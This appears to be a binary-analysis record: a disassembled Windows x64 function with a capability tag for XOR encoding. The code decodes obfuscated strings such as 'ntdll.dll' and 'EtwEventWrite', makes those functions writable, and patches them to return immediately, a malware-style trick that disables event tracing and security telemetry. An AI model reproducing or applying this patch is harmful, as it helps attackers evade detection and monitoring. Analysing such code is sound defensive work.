Function at 0x2b36547a0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
mov rax, qword [str.io_gg__g_or_q_io]
mov ecx, 0x67
xor r9d, r9d
mov r8d, 0x67
mov qword [rsp + 0x50], rax
movabs rax, 0x675f2967675f6f69
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0xd0], rax
mov rdx, rsi
mov word [rsp + 0xd8], r8w
xor r8d, r8d
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x30], 0
add eax, 5
mov word [rsp + 0x58], cx
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd1]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
add eax, 5
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd2]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
add eax, 5
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd3]
add eax, 5
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd4]
add eax, 5
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
add eax, 5
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
add eax, 5
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
add eax, 5
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
add eax, 5
mov byte [rsp + 0xd8], al
call fcn.2b3651890
mov r10d, 0x60
mov r9d, 0x60
mov r8, rsi
mov r12, rax
mov rax, qword [0x2b374c0b8]
mov word [rsp + 0x6c], r9w
xor r9d, r9d
mov dword [rsp + 0x68], 0x6f646d52
mov rdx, r12
mov qword [rsp + 0x60], rax
movabs rax, 0x6f69607140726f40
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x6f646d52
mov word [rsp + 0xdc], r10w
movzx eax, byte [rsp + 0xd0]
add eax, 5
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd1]
add eax, 5
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd2]
add eax, 5
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd3]
add eax, 5
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd4]
add eax, 5
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
add eax, 5
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
add eax, 5
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
add eax, 5
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
add eax, 5
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0xd9]
add eax, 5
mov byte [rsp + 0xd9], al
movzx eax, byte [rsp + 0xda]
add eax, 5
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdb]
add eax, 5
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdc]
add eax, 5
mov byte [rsp + 0xdc], al
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call fcn.2b3651890
movdqa xmm0, xmmword [0x2b374c0c0]
movabs rdx, 0xa99594928f9a9892
mov r15, rax
mov rax, qword [0x2b374c0d0]
movaps xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rax
movabs rax, 0x9d928f94b58c8fbe
mov qword [rsp + 0xb0], rax
movabs rax, 0x899e8f88929c9e
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0xc0], rax
xor eax, eax
nop
movzx edx, byte [rsp + rax + 0xb0]
xor edx, 0xfffffffb
mov byte [rsp + rax + 0xb0], dl
add rax, 1
cmp rax, 0x17
jne 0x2b3654ab0
mov qword [rsp + 0x40], 0
xor r9d, r9d
mov rdx, r12
lea rsi, [rsp + 0xb0]
mov qword [rsp + 0x38], 0
mov r8, rsi
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call fcn.2b3651890
xor r9d, r9d
mov r8, rsi
mov rcx, rbx
mov r14, rax
movdqa xmm0, xmmword [0x2b374c0e0]
movabs rax, 0x8c969d8ebd8f8cbd
movabs rdx, 0x8a9d8c8b919f9daa
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
mov rdx, r12
mov byte [rsp + 0xc0], 0
movzx eax, byte [rsp + 0xb0]
movaps xmmword [rsp + 0x70], xmm0
xor eax, 0xfffffff8
mov byte [rsp + 0x80], 0
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xb1]
xor eax, 0xfffffff8
mov byte [rsp + 0xb1], al
movzx eax, byte [rsp + 0xb2]
xor eax, 0xfffffff8
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xb3]
xor eax, 0xfffffff8
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xb4]
xor eax, 0xfffffff8
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb5]
xor eax, 0xfffffff8
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb6]
xor eax, 0xfffffff8
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb7]
xor eax, 0xfffffff8
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb8]
xor eax, 0xfffffff8
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb9]
xor eax, 0xfffffff8
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xba]
xor eax, 0xfffffff8
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xbb]
xor eax, 0xfffffff8
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbc]
xor eax, 0xfffffff8
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbd]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
xor eax, 0xfffffff8
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbe]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor eax, 0xfffffff8
mov byte [rsp + 0xbe], al
movzx eax, byte [rsp + 0xbf]
mov qword [rsp + 0x20], 0
xor eax, 0xfffffff8
mov byte [rsp + 0xbf], al
call fcn.2b3651890
movdqa xmm0, xmmword [0x2b374c0f0]
lea r8, [rsp + 0x90]
mov rcx, rbx
movabs rdx, 0x9089ba9988958eab
mov r13, rax
mov eax, 0x90
mov word [rsp + 0xc0], ax
movabs rax, 0x8892998ab98b88b9
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
mov edx, 0x90
mov word [rsp + 0xa0], dx
movzx eax, byte [rsp + 0x90]
mov rdx, r12
movaps xmmword [rsp + 0xb0], xmm0
xor eax, 0xfffffffc
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
xor eax, 0xfffffffc
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
xor eax, 0xfffffffc
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
xor eax, 0xfffffffc
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
xor eax, 0xfffffffc
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
xor eax, 0xfffffffc
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
xor eax, 0xfffffffc
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
xor eax, 0xfffffffc
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
xor eax, 0xfffffffc
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x99]
xor eax, 0xfffffffc
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x9a]
xor eax, 0xfffffffc
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0x9b]
xor eax, 0xfffffffc
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0x9c]
xor eax, 0xfffffffc
xor r9d, r9d
mov byte [rsp + 0x9c], al
movzx eax, byte [rsp + 0x9d]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
xor eax, 0xfffffffc
mov byte [rsp + 0x9d], al
movzx eax, byte [rsp + 0x9e]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
xor eax, 0xfffffffc
mov byte [rsp + 0x9e], al
movzx eax, byte [rsp + 0x9f]
mov qword [rsp + 0x20], 0
xor eax, 0xfffffffc
mov byte [rsp + 0x9f], al
movzx eax, byte [rsp + 0xa0]
xor eax, 0xfffffffc
mov byte [rsp + 0xa0], al
call fcn.2b3651890
mov rcx, r15
mov r8d, 0x40
mov edx, 4
mov r12, rax
call fcn.2b36515d0
mov rcx, r14
mov r8d, 0x40
mov edx, 4
mov ebp, eax
call fcn.2b36515d0
mov rcx, r13
mov r8d, 0x40
mov edx, 4
mov edi, eax
call fcn.2b36515d0
mov rcx, r12
mov r8d, 0x40
mov edx, 4
mov esi, eax
call fcn.2b36515d0
mov r8d, ebp
mov rcx, r15
mov edx, 4
mov dword [r15], 0xc3c03348
mov ebx, eax
mov dword [r14], 0xc3c03348
mov dword [r13], 0xc3c03348
mov dword [r12], 0xc3c03348
call fcn.2b36515d0
mov r8d, edi
mov rcx, r14
mov edx, 4
call fcn.2b36515d0
mov r8d, esi
mov rcx, r13
mov edx, 4
call fcn.2b36515d0
mov r8d, ebx
mov edx, 4
mov rcx, r12
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.2b36515d0